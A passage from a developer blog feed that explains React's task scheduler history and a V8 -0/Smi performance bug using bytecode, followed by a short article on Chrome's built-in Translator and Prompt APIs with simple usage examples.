class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>In the comments of the code, you can also see why React does not use setTimeout, which is the same reason I just mentioned. The PR for this change is here: <a href="https://github.com/facebook/react/pull/14234">[scheduler] Post to MessageChannel instead of window #14234</a>.</p><p>It seems like that’s it? This mechanism is quite reasonable, using two different types of asynchronous tasks to do different things while trying to perform tasks without interfering with rendering.</p><h3><span id="react-16120-messagechannel">React 16.12.0 - MessageChannel</span></h3><p>However, in React 16.12.0, the mechanism changed again, removing rAF and leaving only MessageChannel, executing for a maximum of 5ms each time:</p><p><img src="/img/learn-advanced-javascript-from-react/p5.png" alt="message channel"></p><p>So why switch to this mechanism? There are two places that explain it. The first is the <a href="https://github.com/facebook/react/blob/v16.12.0/packages/scheduler/src/forks/SchedulerHostConfig.default.js">code</a> in 16.12.0:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Scheduler periodically yields in case there is other work on the main</span><span class="token comment">// thread, like user events. By default, it yields multiple times per frame.</span><span class="token comment">// It does not attempt to align with frame boundaries, since most tasks don't</span><span class="token comment">// need to be frame aligned; for those that do, use requestAnimationFrame.</span><span class="token keyword">let</span> yieldInterval <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The main idea is that since the task does not need to align with the rendering of the screen, it ignores rendering and just keeps yielding.</p><p>The second explanation is from the issue <a href="https://github.com/facebook/react/issues/21662">Concurrency &#x2F; time-slicing by default #21662</a>, where someone asked if the scheduler was still using <code>requestIdleCallback</code>. Dan’s comment was:</p><blockquote><p>No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.</p></blockquote><p>This clarifies why <code>requestIdleCallback</code> was eliminated at the beginning, because it fired too late.</p><p>So how is the implementation in the latest version v19.2.0?</p><p>From the <a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/Scheduler.js">code</a>, it can be seen that it is basically the same mechanism as above, with not much change. It still uses MessageChannel to schedule tasks and yields every so often.</p><h3><span id="in-the-near-future-native-scheduler-api">In the Near Future: Native Scheduler API</span></h3><p>In fact, the Scheduler is not just for React; it is used whenever asynchronous task scheduling is needed. Therefore, browsers actually provide a native <a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler">Scheduler API</a>, but it is still new and not well supported. However, it can be anticipated that in the future, there may be no need to write a custom implementation, as using the native browser API would be the best option.</p><p>In fact, React is already using this to implement a set, but it is still in an unstable state: <a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/SchedulerPostTask.js">SchedulerPostTask.js</a>. The native API directly supports scheduling tasks with different priorities, which is much more convenient than writing it yourself.</p><p>In summary, from React’s code for scheduling asynchronous tasks, we can learn about the differences in timing and frequency of triggering different functions. We can also understand why React made such choices through these changes in mechanisms, allowing us to better grasp the nuances of these asynchronous details.</p><h2><span id="learning-about-underlying-operations-from-v8-bug">Learning About Underlying Operations from V8 Bug</span></h2><p>Continuing from the earlier discussion about React fiber, there is a section related to the profiler in the <a href="https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiber.js#L177">code</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1.1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The question arises: why is the initial value here -0 instead of 0? What is the difference between these two?</p><p>In even older versions, it was first assigned as NaN before becoming 0. What kind of magic is this?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>All of this is related to the underlying operations of V8 and a bug.</p><p>Regarding this matter, V8 itself has a blog post: <a href="https://v8.dev/blog/react-cliff">The story of a V8 performance cliff in React</a>, which explains it very well. Please read this article yourself or look at it with AI; I won’t repeat it here, and will only mention the conclusions and key points below.</p><p>First of all, although we all know that in the JavaScript specification, <a href="https://blog.huli.tw/2022/02/25/en/javascript-how-many-types/#6-number">all numbers are doubles</a>, the JavaScript engine does not necessarily implement it that way. After all, if every number were stored as a 64-bit double, there would be both space and performance issues, and integer addition and subtraction would also be floating-point operations, which is unbearable.</p><p>Therefore, in the V8 engine, numbers are actually divided into two types: one is a 32-bit int called a small integer, abbreviated as Smi, and the other is truly a floating-point number, called HeapNumber. The two types are stored in different locations, with floating-point numbers needing to be stored in the heap.</p><p>To optimize objects, they are associated with something called a shape when stored, similar to the metadata of the object, which stores the type and offset of each value. Similarly, objects of the same interface will share the same shape.</p><p>When the type of an object value changes, this shape will also change. For example, if it changes from Smi to double, a new shape will be created.</p><p>The bug in V8 can be simply described as follows: in the React profiler, certain values are initially initialized to 0, with the type being Smi. Then, <code>Object.preventExtensions</code> is used to prevent new properties from being added, and this value is changed to a floating-point number (the return value of <code>performance.now()</code>).</p><p>This behavior causes V8 to break, as it does not know how to handle the change in shape, resulting in the creation of an entirely new shape. Moreover, this issue is not limited to just one object; all similar objects cannot share the shape and instead each have their own.</p><p>Although most people may not notice this underlying difference, when React is tested with a large number of nodes, the difference becomes apparent as the base increases, evolving into a performance issue.</p><p>Although V8 has fixed the bug, so this issue no longer exists, React has also made a fix. For instance, the NaN mentioned earlier is set to NaN because it is fundamentally a floating-point number rather than Smi. The current version being -0 is for the same reason; -0 is a floating-point number, while 0 is Smi.</p><p>When both the initial value and the subsequent value are floating-point numbers, there will be no issue with the change in shape, and thus the V8 bug will not be encountered.</p><p>However, have you ever thought about how to determine that NaN and -0 are floating-point numbers?</p><h3><span id="looking-at-underlying-types-from-v8-bytecode">Looking at Underlying Types from V8 Bytecode</span></h3><p>Aside from translating specifications, compiling code into V8 bytecode is actually a good method. For example, consider the following function:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> x <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token operator">/</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span><span class="token punctuation">&#125;</span><span class="token constant">AAAAA</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After compiling with the command <code>node --print-bytecode test.js &gt; out</code>, the result is:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">[</span>generated bytecode <span class="token keyword">for</span> <span class="token keyword">function</span><span class="token operator">:</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token number">0x31bb2f7de971</span> <span class="token operator">&lt;</span>SharedFunctionInfo <span class="token constant">AAAAA</span><span class="token operator">></span><span class="token punctuation">)</span><span class="token punctuation">]</span>Bytecode length<span class="token operator">:</span> <span class="token number">41</span>Parameter count <span class="token number">1</span>Register count <span class="token number">2</span>Frame size <span class="token number">16</span>Bytecode age<span class="token operator">:</span> <span class="token number">0</span>   <span class="token number">62</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df776</span> @    <span class="token number">0</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df778</span> @    <span class="token number">2</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df779</span> @    <span class="token number">3</span> <span class="token operator">:</span> 0c                LdaZero         <span class="token number">0x31bb2f7df77a</span> @    <span class="token number">4</span> <span class="token operator">:</span> c3                Star1   <span class="token number">62</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77b</span> @    <span class="token number">5</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">00</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>   <span class="token number">73</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77f</span> @    <span class="token number">9</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df781</span> @   <span class="token number">11</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df782</span> @   <span class="token number">12</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">00</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df784</span> @   <span class="token number">14</span> <span class="token operator">:</span> c3                Star1   <span class="token number">73</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df785</span> @   <span class="token number">15</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">02</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>   <span class="token number">85</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df789</span> @   <span class="token number">19</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78b</span> @   <span class="token number">21</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df78c</span> @   <span class="token number">22</span> <span class="token operator">:</span> 0d <span class="token number">03</span>             LdaSmi <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78e</span> @   <span class="token number">24</span> <span class="token operator">:</span> c3                Star1   <span class="token number">85</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df78f</span> @   <span class="token number">25</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">04</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span>   <span class="token number">96</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df793</span> @   <span class="token number">29</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df795</span> @   <span class="token number">31</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df796</span> @   <span class="token number">32</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">01</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df798</span> @   <span class="token number">34</span> <span class="token operator">:</span> c3                Star1   <span class="token number">96</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df799</span> @   <span class="token number">35</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">06</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df79d</span> @   <span class="token number">39</span> <span class="token operator">:</span> 0e                LdaUndefined  <span class="token number">114</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df79e</span> @   <span class="token number">40</span> <span class="token operator">:</span> a9                ReturnConstant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span>Handler <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span>Source Position <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df7a1</span> <span class="token operator">&lt;</span>ByteArray<span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can see that 3 is directly <code>LdaSmi</code>, indicating it is Smi, while -0 and NaN are <code>LdaConstant</code>, loaded from the constant pool, which contains:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Constant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It is clear that both of these are heap numbers and do not belong to Smi.</p><p>From a theoretical perspective, NaN cannot be Smi because NaN is defined in IEEE 754, and -0 requires the negative sign, which does not exist in int, so it can only be a double.</p><p>In any case, if you encounter confusion regarding underlying types in the future, you can compile to bytecode for confirmation; it is straightforward.</p><h2><span id="summary">Summary</span></h2><p>In this article, we learned several things from the React source code:</p><ol><li>The purpose of Symbol, which can utilize its non-serializable feature to ensure that it cannot be constructed externally.</li><li>The triggering timing and characteristics of various asynchronous functions such as <code>requestIdleCallback</code>, <code>requestAnimationFrame</code>, <code>MessageChannel</code>, and <code>setTimeout</code>, as well as how React arranges tasks at a lower level.</li><li>While all JavaScript numbers appear to be 64-bit doubles in specifications, V8 actually differentiates between Smi and double at a lower level, which can be confirmed using bytecode.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I shared this topic at the online pre-event of &lt;a href=&quot;https://2025.jsdc.tw/&quot;&gt;JSDC&lt;/a&gt;. Since I already shared it, I thought it would be good to write an article. The inspiration and content of this article actually come from &lt;a href=&quot;https://www.tenlong.com.tw/products/9786267757048&quot;&gt;“JavaScript Relearning”&lt;/a&gt; (only available in Chinese). When I wrote the book, I referenced some elements from the React source code, and this article is just a reorganization and rewriting of the various React-related chapters that were originally scattered throughout the book.&lt;/p&gt;
&lt;p&gt;I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.&lt;/p&gt;
&lt;p&gt;This article is divided into three small sections:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;XSS Vulnerabilities in Older Versions of React&lt;/li&gt;
&lt;li&gt;Learning the Event Loop from React Fiber&lt;/li&gt;
&lt;li&gt;Learning Underlying Mechanics from V8 Bugs&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Chrome&#39;s Built-in Translation and Prompt API</title>
    <link href="https://blog.huli.tw/2025/09/27/en/chrome-built-in-prompt-api/"/>
    <id>https://blog.huli.tw/2025/09/27/en/chrome-built-in-prompt-api/</id>
    <published>2025-09-26T21:50:00.000Z</published>
    <updated>2025-09-27T07:26:31.509Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, a reader shared with me a Chrome extension he created: <a href="https://github.com/Stevetanus/JPNEWS-helper/tree/main">JP NEWS Helper</a>, which can summarize and translate articles from NHK News Easy, helping to learn Japanese.</p><p>Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.</p><p>It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.</p><span id="more"></span><h2><span id="chromes-built-in-ai-related-apis">Chrome’s Built-in AI Related APIs</span></h2><p>If you want to watch the official Google video directly, you can refer to this: <a href="https://www.youtube.com/watch?v=8iIvAMZ-XYU">The future of Chrome Extensions with Gemini in your browser</a>. For a text version, you can check this article: <a href="https://developer.chrome.com/docs/ai/built-in-apis">Built-in AI API</a>.</p><p>Starting from version 138 (as of writing this article, the latest stable version is 140), Chrome provides three built-in Web APIs:</p><ol><li>Translator API, for translation</li><li>Language Detector API, for detecting languages</li><li>Summarizer API, for summarizing articles</li></ol><p>These three APIs require downloading some small models before use, and the overall usage is super simple. Below is an example using the translation feature.</p><p>First, you need to check if it’s available and whether you need to download:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> translator <span class="token operator">=</span> <span class="token keyword">await</span> Translator<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">sourceLanguage</span><span class="token operator">:</span> <span class="token string">'en'</span><span class="token punctuation">,</span>  <span class="token literal-property property">targetLanguage</span><span class="token operator">:</span> <span class="token string">'zh-TW'</span><span class="token punctuation">,</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Downloaded </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token punctuation">.</span>loaded <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>That monitor is used to track the download progress, and for translation, it can be downloaded quite quickly.</p><p>Once downloaded, you can translate with just one line of code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> translator<span class="token punctuation">.</span><span class="token function">translate</span><span class="token punctuation">(</span><span class="token string">'How are you?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>That’s it, super simple.</p><p>However, I tried it out, and the quality of the translation wasn’t very good; it still can’t compare to using a real large LLM model. But having this feature built directly into the Web API is already a significant improvement.</p><h2><span id="prompt-api">Prompt API</span></h2><p>In addition to the three mentioned at the beginning, there are also a few other APIs still in testing, such as the prompt API, which allows you to directly input prompts, similar to using ChatGPT and other APIs. Currently, to use it, you need to apply for an origin trial to get a key. I previously wrote about how to apply: <a href="https://blog.huli.tw/2022/02/02/en/origin-trials-try-new-feature/">Try New Features Early Through Chrome Origin Trials</a>.</p><p>I created a demo website; feel free to check it out. Since the prompt API model is quite large, it’s recommended to download it in a non-mobile network environment, otherwise, the data usage might spike.</p><p>Additionally, since this API is still in the testing phase, there may be some issues. At first, I had no problems playing around with it, but later it seemed I hit some bug, and every time I asked the AI, it would cause a system-level panic, causing my entire Mac to crash and restart.</p><p><a href="https://aszx87410.github.io/demo/ai/prompt-api.html">https://aszx87410.github.io/demo/ai/prompt-api.html</a></p><p>The usage of this API is also super simple. The first step is to check availability and download:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">updateProgress</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">updateStatus</span><span class="token punctuation">(</span><span class="token string">'✅ ready'</span><span class="token punctuation">,</span> <span class="token string">'available'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Once downloaded, you can use it:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> session <span class="token operator">=</span> <span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> response <span class="token operator">=</span> <span class="token keyword">await</span> session<span class="token punctuation">.</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">'What can you do?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>response<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>There are more parameters you can adjust, and it can support more complex conversations; the above is just a very basic example.</p><p>Although the model isn’t large and the capabilities are not as extensive as other large models, having a small model that can run locally in the browser can already offload some tasks that would otherwise require an API key.</p><p>Now Chrome is also increasingly proactive in packaging small models directly within, providing more native AI features, and in the future, developers can use these Web APIs to develop products without needing to prepare their own backend.</p><h2><span id="what-about-other-browsers">What about other browsers?</span></h2><p>The Translation API was officially released with Chrome 138, and Google has set related standards. However, Firefox and Safari are still in very early stages.</p><p>Firefox is currently <a href="https://github.com/mozilla/standards-positions/issues/1015">not very satisfied</a> with the API design and has proposed another <a href="https://github.com/mozilla/explainers/blob/main/translation.md">version</a>. Safari also has some privacy and security <a href="https://github.com/WebKit/standards-positions/issues/339">considerations</a> regarding the current approach, and it seems there hasn’t been much progress.</p><p>As for other more powerful APIs like the Prompt API, Firefox has given a <a href="https://github.com/mozilla/standards-positions/issues/1213#issuecomment-2950074313">negative</a> response to the current proposal, while there seems to be no news from Safari <a href="https://github.com/WebKit/standards-positions/issues/495">on that front</a>.</p><p>Therefore, the things mentioned in this article are currently only available in Chromium-based browsers like Chrome and Edge. Whether other browsers will catch up in the future remains uncertain.</p><h2><span id="conclusion">Conclusion</span></h2><p>The integration of various AI with existing products is imperative, and browsers, being applications that users heavily rely on, are a battleground for competition.</p><p>For example, Perplexity has launched a <a href="https://www.perplexity.ai/comet">Comet Browser</a>, and Chrome is increasingly incorporating built-in AI features.</p><p>If AI is not misleading me, the current Prompt API in Chrome uses <a href="https://ai.google.dev/gemma/docs">Gemma</a>, while Edge uses <a href="https://azure.microsoft.com/en-us/products/phi">Phi</a>.</p><p>As the AI models built into browsers evolve, the capabilities will expand. However, given the current situation, the models that can run locally are definitely very limited, as the available resources are constrained, and their performance is not as good as those large models. But it is worth keeping an eye on the future, as they should continue to evolve.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, a reader shared with me a Chrome extension he created: &lt;a href=&quot;https://github.com/Stevetanus/JPNEWS-helper/tree/main&quot;&gt;JP NEWS Helper&lt;/a&gt;, which can summarize and translate articles from NHK News Easy, helping to learn Japanese.&lt;/p&gt;
&lt;p&gt;Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.&lt;/p&gt;
&lt;p&gt;It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Explaining XSS without parentheses and semi-colons</title>
